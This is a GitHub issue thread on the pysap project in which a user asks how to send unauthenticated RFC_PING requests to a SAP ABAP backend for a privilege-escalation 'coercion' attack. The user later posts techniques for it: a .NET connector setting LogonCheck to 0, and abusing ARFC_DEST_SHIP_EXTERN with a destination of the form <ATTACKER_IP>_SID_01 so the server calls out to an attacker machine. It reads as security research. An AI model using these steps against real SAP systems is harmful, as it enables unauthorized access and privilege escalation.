pysap icon indicating copy to clipboard operation
pysap copied to clipboard

Unauthenticated RFC_PING requests

Open 0xwaf opened this issue 1 year ago • 2 comments

Hi everyone,

I'm exploring a way to trigger an RFC_PING request on an ABAP backend without authentication. Since the profile parameter "auth/rfc_authority_check" states that for certain values (for example 3 or 4) both logon and authorization checks are not performed for RFC_PING and RFC_SYSTEM_INFO.

I modified the value to satisfy this condition but still can not find a way to construct a packet that would trigger an RFC_PING request on the ABAP backend.

For now I tried only with pyrfc using a Connection() object and empty credentials which obviously does not work. The second try was using pysap by creating a SAPNI socket and sending an RFC_PING request using the SAPRFCPING() class. However I am not sure which arguments could be passed to the object and the analyzed traffic shows two "GW_NORMAL_CLIENT" packets sent before the socket crashes.

What I am trying to achieve is :

  1. An unauthenticated RFC_PING request originating from the target ABAP backend (the idea is to mimic an authenticated user that would simply run the RFM RFC_PING)

  2. An unauthenticated RFC_PING request from the ABAP backend to a specific RFC destination predefined within the system.

The whole purpose is a "coercion" type of attack where I would trigger an RFC_PING request from a target ABAP server to a local server I control to send a modified ping response on RFC destination BACK to escalate my privileges (similar to a callback attack but this time unauthenticated and without compromising any other host for pivoting but simply using it for initial access)

You can find below the sample code that I tried. Do you have any input ? Many thanks in advance !!

from pysap.SAPRFC import *
from pysap.SAPNI import SAPNIStreamSocket

conn = SAPNIStreamSocket.get_nisocket("TARGET_ABAP_SYSTEM", "3300")
p = SAPRFCPING()
response = conn.sr(p)
response.show()

0xwaf avatar Jan 14 '25 22:01 0xwaf

Hey @0xwaf! Sorry the way too long delay replying back. It's highly likely that you've somehow already solved this, but in any case I'm replying for completeness. If you've any news on your side would be great for anyone facing something similar.

The RFCPING class and the interaction was modeled based on actually using the rfcping tool from the rfc SDK. This was long time ago however, so I'm not sure if the actual messages continue to be the same on a more recent environment. I'd suggest you taking a look at that and watching the traffic (e.g. with Wireshark).

martingalloar avatar May 13 '25 22:05 martingalloar

Hello @martingalloar thanks for getting back !

So there is actually a way to trigger an RFC_PING request without authentication however I still did not test with which user context it is triggered and therefore whether a callback with privileged ABAP statements would work or not.

Another method which is authenticated would consist in running an RFC function module that allows to specify an RFC destination pointing to an attacker controlled machine without the destination being maintained in SM59. This was actually discussed by Fabian Hagg in the following paper : From RFC to RCE 16 Years Later

One interesting way to weaponize this is trying to inject in the RFC_PING callback specific ABAP statements that would invoke kernel functions without triggering authorization checks and could potentially allow to elevate privileges without any authorization object or only with S_RFC authorization object.

Anyway the two methods I used are the following :

  • Unauthenticated : Using the .NET rfc connector specifying the option LCHECK to 0 would open an RFC connection with the remote system without authentication and allow to use the socket connection to send afterwards other RFC data containers
 RfcConfigParameters parameters = new RfcConfigParameters();
 parameters.Add(RfcConfigParameters.AppServerHost, host);
 parameters.Add(RfcConfigParameters.Client, client);
 parameters.Add(RfcConfigParameters.SystemNumber, sysnr);
 parameters.Add(RfcConfigParameters.Name, "NPL")
 parameters.Add(RfcConfigParameters.LogonCheck, "0");
  • Authenticated : Using one of the function modules ARFC_DEST_SHIP_EXTERN or ARFC_DEST_CONFIRM_EXTERN and specifying the import parameter in the following format :

DESTINATION_NAME = <ATTACKER_IP>_SID_SYSNR

For example having : DESTINATION_NAME = <ATTACKER_IP>_SID_01

Would trigger an RFC connection to the attacker IP on port 3301.

So on an actual assessment we can have a local miniSAP server running and we point the destination_name to that server with a modified RFC_PING function on our server. However the chosen ABAP statements will run in the current user context triggering the RFC flow. I still need to check what methods could be triggered to either have a shell or escalate user context.

0xwaf avatar May 13 '25 22:05 0xwaf